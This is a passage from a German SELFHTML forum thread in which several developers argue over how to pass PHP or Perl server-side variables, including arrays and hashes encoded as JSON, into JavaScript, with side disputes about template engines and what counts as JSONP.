daselbe</p> </blockquote> <p>Das nennt man dann wohl rerefactoring.</p> </blockquote> <p>Egal </p> <p>Wichtig ist noch zu wissen, wie man sowas einbindet:</p> <pre><code class="block language-html"><span class="token tag"><span class="token tag"><span class="token punctuation"><</span>script</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>?vars=1<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script"></span><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>script</span><span class="token punctuation">></span></span> </code></pre> <p>Wobei diese Response nur dasda</p> <pre><code class="block language-js"><span class="token keyword">var</span> var1 <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"example>1"</span><span class="token punctuation">,</span><span class="token string">"example>2"</span><span class="token punctuation">,</span><span class="token string">"<>\"'&&"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">var</span> var2 <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token string-property property">"c"</span><span class="token operator">:</span><span class="token string">"<>\"'&&"</span><span class="token punctuation">,</span><span class="token string-property property">"a"</span><span class="token operator">:</span><span class="token string">"example>1"</span><span class="token punctuation">,</span><span class="token string-property property">"b"</span><span class="token operator">:</span><span class="token string">"example>2"</span><span class="token punctuation">}</span><span class="token punctuation">;</span> </code></pre> <p>senden muss.</p> <p>Schluss 4 heide.</p> <p>PS: JS Zeilen um ";" ergänzt, hatte ich vorhin auch vergessen.</p> <pre><code class="block language-perl"><span class="token keyword">use</span> JSON<span class="token punctuation">;</span> <span class="token comment">#Beispieldata</span> <span class="token keyword">my</span> <span class="token variable">$arrayref</span><span class="token operator">=</span><span class="token punctuation">[</span> <span class="token string">"example>1"</span><span class="token punctuation">,</span> <span class="token string">"example>2"</span><span class="token punctuation">,</span> <span class="token string">"<>\"'&&"</span> <span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">my</span> <span class="token variable">$hashref</span><span class="token operator">=</span> <span class="token punctuation">{</span> a<span class="token operator">=></span><span class="token string">"example>1"</span><span class="token punctuation">,</span> b<span class="token operator">=></span><span class="token string">"example>2"</span><span class="token punctuation">,</span> c<span class="token operator">=></span><span class="token string">"<>\"'&&"</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> printf <span class="token string">q( var var1 = %s; var var2 = %s; )</span><span class="token punctuation">,</span> encode_json<span class="token punctuation">(</span><span class="token variable">$arrayref</span><span class="token punctuation">)</span><span class="token punctuation">,</span> encode_json<span class="token punctuation">(</span><span class="token variable">$hashref</span><span class="token punctuation">)</span><span class="token punctuation">;</span> </code></pre> <p>schackschack!</p> Arrays und Hashes (Perl oder PHP) in <script> als JS-Object erzeugen Sat, 28 Apr 18 18:39:59 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720759#m1720759 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720759#m1720759 <p>Hallo pl,</p> <pre><code class="block language-html"><span class="token tag"><span class="token tag"><span class="token punctuation"><</span>script</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>?vars=1<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script"></span><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>script</span><span class="token punctuation">></span></span> </code></pre> <p>Hm. Nimm's nicht persönlich, aber ich bin mal wieder anderer Meinung.</p> <p>Kann man machen, aber ich denke, man sollte das nicht so machen. Warum soll man für die Bereitstellung der Variablen einen neuen Webrequest starten? Wenn ich aus einem serverseitigen Programm heraus Informationen für ein auf dem Client laufenden Script bereitstellen will, dann bin ich serverseitig doch irgendwann an dem Punkt, wo ich (a) die Daten für die HTML Seite und (b) die Daten für's Script gemeinsam beisammen habe. Dann sollte ich sie auch gemeinsam raushauen. Mit der von Dir vorgeschlagenen Lösung müsste ich die Daten für's Script erstmal zwischenspeichern (Session) und dann über die ?vars=1 Variante wieder bereitstellen.</p> <p>Dann doch lieber gleich einen inline-script Block generieren, der die Variablen setzt.</p> <p><em>Rolf</em></p> <div class="signature">-- <br> sumpsi - posui - clusi </div> Arrays und Hashes (Perl oder PHP) in <script> als JS-Object erzeugen Sun, 29 Apr 18 05:01:50 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720778#m1720778 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720778#m1720778 <p>hi</p> <blockquote> <pre><code class="block language-html"><span class="token tag"><span class="token tag"><span class="token punctuation"><</span>script</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>?vars=1<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script"></span><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>script</span><span class="token punctuation">></span></span> </code></pre> <p>Hm. Nimm's nicht persönlich, aber ich bin mal wieder anderer Meinung.</p> <p>Kann man machen, aber ich denke, man sollte das nicht so machen. Warum soll man für die Bereitstellung der Variablen einen neuen Webrequest starten? Wenn ich aus einem serverseitigen Programm heraus Informationen für ein auf dem Client laufenden Script bereitstellen will, dann bin ich serverseitig doch irgendwann an dem Punkt, wo ich (a) die Daten für die HTML Seite und (b) die Daten für's Script gemeinsam beisammen habe. Dann sollte ich sie auch gemeinsam raushauen.</p> </blockquote> <p>Davon rede ICH doch die ganze Zeit!</p> <blockquote> <p>Mit der von Dir vorgeschlagenen Lösung</p> </blockquote> <p>Der Vorschlag ist ja nicht von mir. Ich habe nur den Code verbessert.</p> <p>MfG</p> Rolf B's Lösung Mon, 30 Apr 18 10:55:14 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720990#m1720990 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720990#m1720990 <p>hi <a href="/users/6547" class="mention registered-user" rel="noopener noreferrer">@Rolf B</a></p> <blockquote> <p>Kann man machen, aber ich denke, man sollte das nicht so machen. Warum soll man für die Bereitstellung der Variablen einen neuen Webrequest starten? Wenn ich aus einem serverseitigen Programm heraus Informationen für ein auf dem Client laufenden Script bereitstellen will, dann bin ich serverseitig doch irgendwann an dem Punkt, wo ich (a) die Daten für die HTML Seite und (b) die Daten für's Script gemeinsam beisammen habe. Dann sollte ich sie auch gemeinsam raushauen.</p> </blockquote> <p>Zeige doch mal bitte <strong>Deine Lösung</strong> hierzu.</p> <blockquote> <p>Dann doch lieber gleich einen inline-script Block generieren, der die Variablen setzt.</p> </blockquote> <p>Und erkläre bitte was Du damit meinst (Codebeispiel).</p> <p>MfG</p> JSONP, CORS Sun, 29 Apr 18 05:32:34 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720779#m1720779 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720779#m1720779 <p>hi</p> <blockquote> <p>was für ein Roman. Sorry, das wird mir zu anstrengend. Aber ein paar Anmerkungen kann ich mir nicht verkneifen:</p> <blockquote> <p>D.h., im Effekt ist es es gar keine Variable weil, bis auf wenige Ausnahmen, sämtliche AJAX//Fetch Requests die eine Seite feuern soll, stets auf sich selbst gerichtet sind.</p> </blockquote> <p><strong>Stets</strong> ist hier ein großes Wort, denn so kann man es machen, muss man aber nicht.</p> </blockquote> <p>Beim MVC muss man es so machen. Sonst ist das kein MVC.</p> <blockquote> <p>Man kann die Ajax-Services, die eine Seite braucht, in ihr implementieren und per URL-Parameter sozusagen abrufen, welche Funktionsvariante man von der Seite haben will. Dein Framework routet das vermutlich transparent.</p> </blockquote> <p>Mein FW unterscheidet zwischen statischen und dynamischen Routen.</p> <blockquote> <blockquote> <p>Mitnichten sieht da ein JS jederzeit anders aus, vielmehr sieht es immer genauso aus wie es für die jeweilige Seite erzeugt wurde</p> </blockquote> <p>Hier steckt dein Fehler: Dur würdest das JS nicht allgemein für eine Seite generieren, sondern für eine Seite, die für bestimmte Seitenparameter abgerufen wurde.</p> </blockquote> <p>Da hast Du was falsch verstanden. Ich bezog mich da nur auf den Platzhalter %url%.</p> <blockquote> <blockquote> <p>Die TE wird also generell geladen, nur der Renderprozess kann abgeschaltet werden wenn er nicht gebraucht wird</p> </blockquote> <p>Ja. Und wenn er nicht gebraucht wird, hast Du statischen Inhalt - oder? Warum dann über Perl/PHP laufen?</p> </blockquote> <p>Der Sinn eines FW: Einheitliche Prozesse. Veränderungen sind einfach realisierbar. Das ist übrigens auch der Sinn von OOP. Stell Dir vor Du brauchst auf der Seite das aktuelle Datum oder einen anderen Platzhalter für dynamische Inhalte: Mit meinem FW ist das in unter 5 Min eingebaut einschließlich der Anpassung von Last-Modified/Expires.</p> <p>Und außerdem: Access Control!!! Und damit meine ich nicht Authorization Basic!</p> <blockquote> <blockquote> <p>Und jetzt stell Dir mal vor, der URL für eine Seite wäre zu ändern. Das würde unweigerlich eine Änderung sämtlicher JS Dateien nach sich ziehen in denen der URL fest codiert ist!</p> </blockquote> <p>Auf die Idee, eine URL in JS fix zu codieren, käme ich nicht. Das wäre ein Fall für Dateninjektion über ein Script-Tag in der HTML-Seite, die das JS einbindet.</p> </blockquote> <p>Ich rede von JS was in der Seite selbst notiert ist.</p> <blockquote> <blockquote> <p>Dann kann man auch mit <script src="%url%?js=ext"></script> ganze Code-Teile für JS dynamisch erzeugen</p> </blockquote> <p>Nein nein nein, das ist ein Irrweg.</p> </blockquote> <p>Wieso? Das ist eine ideale Möglichkeit, JS Dateien serverseitig zu bündeln und clientseitig einzubinden. Gerade wenn eine <a href="http://rolfrost.de/cors_forum.html" rel="nofollow noopener noreferrer">Anwendung Domainübergreifend</a> aufgestellt werden soll. Tags: JSONP, CORS</p> <blockquote> <p>Bei <code><script src="?js=ext"></script></code> war ich noch mit einem „wenn's denn sein muss“ dabei, aber deine %url% Variable enthält vermutlich auch die Query-Parameter der URL -</p> </blockquote> <p>Nein. %url% ist Nur die statische Route.</p> <blockquote> <p>und dann fällst Du rein bzw. musst aufpassen, ob Du <code>?js=ext</code> oder <code>&js=ext</code> anfügst. Sag nicht, %url% enthält die Queryparameter grundsätzlich nicht; das ist genauso kritisch, weil die Queryparameter oft genug entscheidende Kontextinformationen liefern, die den dargestellten Seiteninhalt und damit auch die Anforderungen an generiertes JS beeinflussen.</p> </blockquote> <p>Sämtliche Parameter, also nicht nur QS, rufen in meinem MVC den Controller auf den Plan und der weiß dann schon was zu tun ist.</p> <p>Im Übrigen reden wir hier, in Sachen Scripteinbindung, die ganze Zeit über <a href="http://rolfrost.de/jsonp.html" rel="nofollow noopener noreferrer">JSONP</a>.</p> <blockquote> <p>Ich werde die Disku hier für mich abbrechen</p> </blockquote> <p>Sicher doch. Du hast sie ja auch angefangen. Was JSONP und CORS betrifft, kannst Du Dich ja selbst und außerhalb dieser Diskussion auch anderweitig informieren.</p> <p>MfG</p> Arrays und Hashes (Perl oder PHP) in <script> als JS-Object erzeugen Mon, 30 Apr 18 08:20:59 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720919#m1720919 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720919#m1720919 <p>Hallo pl,</p> <blockquote> <p>Davon rede ICH doch die ganze Zeit!</p> </blockquote> <p>Du hast von einer ganzen Menge geredet und da habe ich vielleicht den Überblick verloren.</p> <blockquote> <blockquote> <p>Mit der von Dir vorgeschlagenen Lösung Der Vorschlag ist ja nicht von mir. Ich habe nur den Code verbessert.</p> </blockquote> </blockquote> <p>Ach so?</p> <p><a href="https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720758#m1720758" rel="noopener noreferrer">https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720758#m1720758</a></p> <pre><code class="block"><script src="?vars=1"></script> </code></pre> <p>ist schon von Dir...</p> <p><em>Rolf</em></p> <div class="signature">-- <br> sumpsi - posui - clusi </div> Variable von PHP nach JAVASCRIPT übergeben Sun, 29 Apr 18 07:55:45 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720790#m1720790 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720790#m1720790 <p>Tach!</p> <blockquote> <p>Bevor wir hier das Rad neu erfinden: Guck Dir mal JSONP an. Was damit möglich ist, habe ich <a href="http://rolfrost.de/jsonp.html" rel="nofollow noopener noreferrer">da</a> mal kurz und bündig aufgeschrieben.</p> </blockquote> <p>Das ist aber nicht JSONP sondern das ganz normale Einbinden von Script-Ressourcen. Die Besonderheit bei JSONP ist, dass der Client dem Server einen Funktionsnamen mitteilt, und der Server Code für einen Aufruf dieser Funktion generiert. Dieser Teil ist in dem Artikel unbeachtet. Stattdessen wird eine Funktion aufgerufen, die der Server festgelegt hat.</p> <p>dedlfix.</p> Variable von PHP nach JAVASCRIPT übergeben Sun, 29 Apr 18 08:37:51 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720798#m1720798 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720798#m1720798 <p>hallo</p> <blockquote> <p>Bevor wir hier das Rad neu erfinden: Guck Dir mal JSONP an. Was damit möglich ist, habe ich <a href="http://rolfrost.de/jsonp.html" rel="nofollow noopener noreferrer">da</a> mal kurz und bündig aufgeschrieben.</p> </blockquote> <p>JSONP? wozu?</p> <p>Im überigen handelt es sich um Etikettenschwindel. Mit JSON hat das nichts zu tun, sondern einfach mit einem Request der Javascript aussendet.</p> <p>Natürlich kann man bei grösseren Daten ein File mit JSON-Data generieren, und dann eben dieses File referenzieren. Der Vorteil ist dann, dass man den HTML Kontext gar nicht beachten muss.</p> <p>Es gibt ja so viele Methoden. Ich habe nur deren 2 mal aufgeführt.</p> <div class="signature">-- <br> Neu im Forum! Signaturen kann man ausblenden! </div> Variable von PHP nach JAVASCRIPT übergeben Sun, 29 Apr 18 08:07:24 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720792#m1720792 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720792#m1720792 <p>Tach!</p> <blockquote> <blockquote> <p>Bevor wir hier das Rad neu erfinden: Guck Dir mal JSONP an. Was damit möglich ist, habe ich <a href="http://rolfrost.de/jsonp.html" rel="nofollow noopener noreferrer">da</a> mal kurz und bündig aufgeschrieben.</p> </blockquote> <p>Das ist aber nicht JSONP sondern das ganz normale Einbinden von Script-Ressourcen. Die Besonderheit bei JSONP ist, dass der Client dem Server einen Funktionsnamen mitteilt, und der Server Code für einen Aufruf dieser Funktion generiert.</p> </blockquote> <p>Genau!</p> <blockquote> <p>Dieser Teil ist in dem Artikel unbeachtet. Stattdessen wird eine Funktion aufgerufen, die der Server festgelegt hat.</p> </blockquote> <p>Siehe <a href="http://rolfrost.de/jsonp.html" rel="nofollow noopener noreferrer">ebenda</a> unter Erweiterung. Außer Funktionen können auch andere Symbole eingebaut werden wie z.B. Variablen und auch die kann man im Request namentlich benennen. Praktische Anwendung: <a href="http://rolfrost.de/sunservice.html" rel="nofollow noopener noreferrer">Webservice Sonne</a>, welcher übrigens schon einen größeren Kundenstamm hat.</p> <p>MfG</p> Variable von PHP nach JAVASCRIPT übergeben Sun, 29 Apr 18 08:14:00 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720793#m1720793 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720793#m1720793 <p>Tach!</p> <blockquote> <blockquote> <p>Dieser Teil ist in dem Artikel unbeachtet. Stattdessen wird eine Funktion aufgerufen, die der Server festgelegt hat.</p> </blockquote> <p>Siehe <a href="http://rolfrost.de/jsonp.html" rel="nofollow noopener noreferrer">ebenda</a> unter Erweiterung.</p> </blockquote> <p>"Möglich" ist da nicht das richtige Wort. "Notwendig" muss es sein, wenn es um JSONP geht. Ansonsten ist es halt irgendwas, nur nicht das was als JSONP definiert ist.</p> <blockquote> <p>Außer Funktionen können auch andere Symbole eingebaut werden wie z.B. Variablen und auch die kann man im Request namentlich benennen.</p> </blockquote> <p>Läuft dann aber auch nicht unter JSONP als Begriff.</p> <p>dedlfix.</p> Variable von PHP nach JAVASCRIPT übergeben Sun, 29 Apr 18 08:27:40 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720795#m1720795 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720795#m1720795 <p>Tach!</p> <blockquote> <blockquote> <blockquote> <p>Dieser Teil ist in dem Artikel unbeachtet. Stattdessen wird eine Funktion aufgerufen, die der Server festgelegt hat.</p> </blockquote> <p>Siehe <a href="http://rolfrost.de/jsonp.html" rel="nofollow noopener noreferrer">ebenda</a> unter Erweiterung.</p> </blockquote> <p>"Möglich" ist da nicht das richtige Wort.</p> </blockquote> <p>Parabel:</p> <pre><code class="block">Privatunternehmer: Welche praktischen Erfahrungen haben Sie? Bewerber: Ich habe 10 Jahre lang Steckdosen eingegipst und verputzt. Privatunternehmer: Schade. Da sind Sie leider nicht qualifiziert genug. Wenn es Schalter gewesen wären, hätten Sie den Job bekommen. </code></pre> <p>Ist übrigens nicht erfunden sondern Realität in Sachen Fachkräftemangel.</p> <p>MfG</p> Variable von PHP nach JAVASCRIPT übergeben Sun, 29 Apr 18 08:49:37 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720800#m1720800 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720800#m1720800 <blockquote> <blockquote> <p>Bevor wir hier das Rad neu erfinden: Guck Dir mal JSONP an. Was damit möglich ist, habe ich <a href="http://rolfrost.de/jsonp.html" rel="nofollow noopener noreferrer">da</a> mal kurz und bündig aufgeschrieben.</p> </blockquote> <p>JSONP? wozu?</p> <p>Im überigen handelt es sich um Etikettenschwindel. Mit JSON hat das nichts zu tun, sondern einfach mit einem Request der Javascript aussendet.</p> </blockquote> <p>So isses. Es kommt darauf an, das Wesentliche zu erkennen!</p> Arrays und Hashes (Perl oder PHP) in <script> als JS-Object erzeugen Mon, 30 Apr 18 08:59:13 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720938#m1720938 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720938#m1720938 <p>hi,</p> <blockquote> <blockquote> <p>Davon rede ICH doch die ganze Zeit!</p> </blockquote> <p>Du hast von einer ganzen Menge geredet und da habe ich vielleicht den Überblick verloren.</p> </blockquote> <p>Die Rede war die ganze Zeit davon wie man eine serverseitige Variable zum Client bekommt ins JS. Mein Vorschlag war, ist und bleibt: Platzhalter im Template.</p> <p>Insbesondere wenn diese Variable bereits beim Ausliefern der Seite feststeht bzw. feststehen falls das mehrere Variablen sind, wird das <strong>alles zusammen in einer Response</strong> ausgeliefert.</p> <p>MfG</p> Arrays und Hashes (Perl oder PHP) in <script> als JS-Object erzeugen Mon, 30 Apr 18 11:57:08 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721026#m1721026 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721026#m1721026 <p>Hallo pl,</p> <blockquote> <p>Insbesondere wenn diese Variable bereits beim Ausliefern der Seite feststeht bzw. feststehen falls das mehrere Variablen sind, wird das alles zusammen in einer Response ausgeliefert.</p> </blockquote> <p>Ja. Sicher. Das ist unstreitig.</p> <p>Streitig ist nur der Sinn eines Konstruktes wie</p> <pre><code class="block language-html"><span class="token tag"><span class="token tag"><span class="token punctuation"><</span>script</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>?vars=1<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script"></span><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>script</span><span class="token punctuation">></span></span> </code></pre> <p>das von Dir als "so macht man das richtig" eingebracht wurde. Streitig war auch, dass es sinnvoll ist, größere JS Trümmer durch eine Templating-Engine zu jagen. Möglicherweise gibt's ein paar KI Systeme, die auf diese Weise ihr erlerntes Wissen in Code gießen. Das ist für Norbert Normalwebentwickler aber nicht gegeben.</p> <p><em>Rolf</em></p> <div class="signature">-- <br> sumpsi - posui - clusi </div> Rolf B's Lösung Mon, 30 Apr 18 12:42:17 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721040#m1721040 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721040#m1721040 <p>Hallo pl,</p> <p>ich glaube, jeder hier weiß was ich meine. Du auch, du willst mir jetzt nur patzig die Medizin weiterreichen, die Du gelegentlich von dedlfix bekommst.</p> <p>Gesehen hat es auch jeder: Schau Dir beatovichs allererste Antwort im Thread an. Ich hätte Variante A realisiert. Variante B ist auch nicht schlecht, sie hält den JS-Namespace sauber.</p> <p>Eine Lösung zum Vorzeigen, aus der Schublade, habe ich nicht. Unter anderem deshalb, weil meine Web-Projekte firmenintern sind und nicht öffentlich. Alle relevanten Punkte für die Umsetzung sind aber im Thread gefallen.</p> <p><em>Rolf</em></p> <div class="signature">-- <br> sumpsi - posui - clusi </div> Arrays und Hashes (Perl oder PHP) in <script> als JS-Object erzeugen Tue, 01 May 18 04:25:14 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721076#m1721076 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721076#m1721076 <p><a href="/users/6547" class="mention registered-user" rel="noopener noreferrer">@Rolf B</a></p> <blockquote> <blockquote> <p>Insbesondere wenn diese Variable bereits beim Ausliefern der Seite feststeht bzw. feststehen falls das mehrere Variablen sind, wird das alles zusammen in einer Response ausgeliefert.</p> </blockquote> <p>Ja. Sicher. Das ist unstreitig.</p> <p>Streitig ist nur der Sinn eines Konstruktes wie</p> <pre><code class="block language-html"><span class="token tag"><span class="token tag"><span class="token punctuation"><</span>script</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>?vars=1<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script"></span><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>script</span><span class="token punctuation">></span></span> </code></pre> </blockquote> <p>Wenn Du JS aus einer dedizierten Quelle einbinden willst, bleibt Dir nichts weiter übrig als das über den <script>-Tag zu tun.</p> <p>Im Übrigen war die Frage des OP, wie man eine serverseitige Variable in eine <a href="https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720659#m1720659" rel="noopener noreferrer">JS-Datei einbindet</a>!</p> <p>MfG</p> Rolf B's Lösung Mon, 30 Apr 18 13:18:27 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721044#m1721044 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721044#m1721044 <p>hi <a href="/users/6547" class="mention registered-user" rel="noopener noreferrer">@Rolf B</a></p> <blockquote> <p>Gesehen hat es auch jeder: Schau Dir beatovichs allererste Antwort im Thread an. Ich hätte Variante A realisiert. Variante B ist auch nicht schlecht, sie hält den JS-Namespace sauber.</p> </blockquote> <p>Ok. Und Wie hättest Du das umgesetzt? Vor allem hinsichtlich dessen, daß alles zusammen in einer Response geladen wird? Mit Sicherheit wird es darauf hinauslaufen, HTML + JS Code zusammen mit PHP zu erzeugen -- in beiden Varianten A und B!</p> <p>Demgegenüber ist eine Lösung per Template + Platzhalter deutlich übersichtlicher, wartungsfreundlicher und handhabungssicherer. Zumal in diesem Fall die Namen der Variablen in JS feststehen und nicht über PHP hineingereicht, sondern nur die Werte über Platzhalter gesetzt werden.</p> <p>Wobei Werte in Platzhaltern nicht auf Scalare beschränkt sind sondern auch Objekte o.a. komplexere Datenstrukturen sein können -- als JSON.</p> <p>MfG</p> Rolf B's Lösung Mon, 30 Apr 18 13:29:21 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721045#m1721045 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721045#m1721045 <p>hallo</p> <blockquote> <p>hi <a href="/users/6547" class="mention registered-user" rel="noopener noreferrer">@Rolf B</a></p> <blockquote> <p>Gesehen hat es auch jeder: Schau Dir beatovichs allererste Antwort im Thread an. Ich hätte Variante A realisiert. Variante B ist auch nicht schlecht, sie hält den JS-Namespace sauber.</p> </blockquote> <p>Ok. Und Wie hättest Du das umgesetzt? Vor allem hinsichtlich dessen, daß alles zusammen in einer Response geladen wird? Mit Sicherheit wird es darauf hinauslaufen, HTML + JS Code zusammen mit PHP zu erzeugen -- in beiden Varianten A und B!</p> </blockquote> <p>Die korrekte Antwort ist: Es kommt auf das konkrete Datum an.</p> <p>Geht es etwa darum nach erstmaliger language-negotiation die gewünschte Userlanguage zu setzen, so landet diese Angabe im html-Element WENN diese Sprache unterstützt wird. Zusätzlich landet sie aber auch in eine JS-Variable, da der Aufwand schon mal betrieben wurde, diese aus den headern zu extrahieren.</p> <div class="signature">-- <br> Neu im Forum! Signaturen kann man ausblenden! </div> Rolf B's Lösung Mon, 30 Apr 18 15:37:45 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721051#m1721051 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721051#m1721051 <p>Hallo pl,</p> <p>wenn ich eine Template-Engine hätte, die im Stande ist, JS in HTML zu erkennen und erforderliche Kontextbehandlungen transparent durchzuführen, dann hätte ich das sicherlich damit gemacht.</p> <p>Hab ich aber nicht; es gibt da so ein Smarty-basierendes Projekt, an dem ich gelegentlich mit bastele (aber wer dessen Innereien betrachtet bekommt Schreikrämpfe, weshalb ich das NICHT als Referenz angebe), da geht das mit etwas Tipparbeit semitransparent. Smarty kennt Modifier hinter Template-Variablen. Entweder eingebaute, z.B. escape für HTML-Escaping, oder wenn's kein eingebauter ist, sucht er eine eingebaute PHP-Funktion dieses Namens (was ich für grenzwertiges Design halte, aber hier schön praktisch ist).</p> <p>Mit Smarty würde ich also einfach</p> <pre><code class="block language-html"><span class="token tag"><span class="token tag"><span class="token punctuation"><</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript"> <span class="token keyword">var</span> <span class="token constant">ROLF</span><span class="token punctuation">.</span>jsData <span class="token operator">=</span> <span class="token punctuation">{</span>$jsData<span class="token operator">|</span>json_encode<span class="token punctuation">}</span><span class="token punctuation">;</span> </span></span><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>script</span><span class="token punctuation">></span></span> </code></pre> <p>in mein Template schreiben. PHP sieht so aus:</p> <pre><code class="block language-php"><span class="token variable">$smarty</span> <span class="token operator">=</span> <span class="token function">CreateSmarty</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Projektspezifsicher Helper mit Smarty-Setup;</span> <span class="token variable">$smarty</span><span class="token operator">-></span><span class="token function">assign</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'jsData'</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token string single-quoted-string">'foo'</span> <span class="token operator">=></span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">'bar'</span> <span class="token operator">=></span> <span class="token string double-quoted-string">"hugo"</span> <span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token variable">$smarty</span><span class="token operator">-></span><span class="token function">display</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'myPage.tpl'</span><span class="token punctuation">)</span><span class="token punctuation">;</span> </code></pre> <p>$jsData wäre dann die Template-Variable, wo mein Parameter-Objekt drin ist. Die bestücke ich aus PHP heraus mit einem Skalar oder Objekt, ohne zu wissen wie sie zu rendern ist. Prima. Und mein statisches JS würde ROLF.jsData verwenden können. Auch prima. Das Know-How, wie der Kontextwechsel zu laufen hat, steckt im Smarty-Template. Kann dein FW das auch so schön transparent?</p> <p>Ohne TE - na gut, dann echo't man den json_encode raus oder baut ihn mit <?= ?> ein.</p> <p>Also - lieber Namenskollege - wir sind uns ja durchaus einig. Bis auf ein paar technische Details, die mit der Frage nichts zu tun hatten...</p> <p><em>Rolf</em></p> <div class="signature">-- <br> sumpsi - posui - clusi </div> Variable von PHP nach JAVASCRIPT übergeben Mon, 30 Apr 18 17:30:45 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721057#m1721057 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721057#m1721057 <p><strong>Eine kleine Entschuldigung meinerseits:</strong></p> <p>So wie es sich jetzt mir darstellt, sind TE's wohl doch noch nicht so verbreitet. Das war mir bei der ganzen Diskussion nicht so bewusst. Umso mehr sollte das jedoch eine Anregung für alle sein, über den Einsatz einer TE nachzudenken denn das lohnt sich!</p> <p><strong>Und eine kleine Ergänzung:</strong></p> <p>Auf der Demoseite habe ich nun auch den serverseitigen Code hinzugefügt. Es sind nur ein paar Zeilen und für diejenigen die wissen möchten, wo dieser Code notiert ist:</p> <p>In einem sogenannten Trait. Das ist auch in Perl nichts weiter als eine Datei welche als interface zur Demoseite hinzukonfiguriert wird:</p> <pre><code class="block"><!-- title=JavaScript Variablen über HTML Template laden --> <!-- descr=Neben Scalaren lassen sich auch komplexe Datenstrukturen 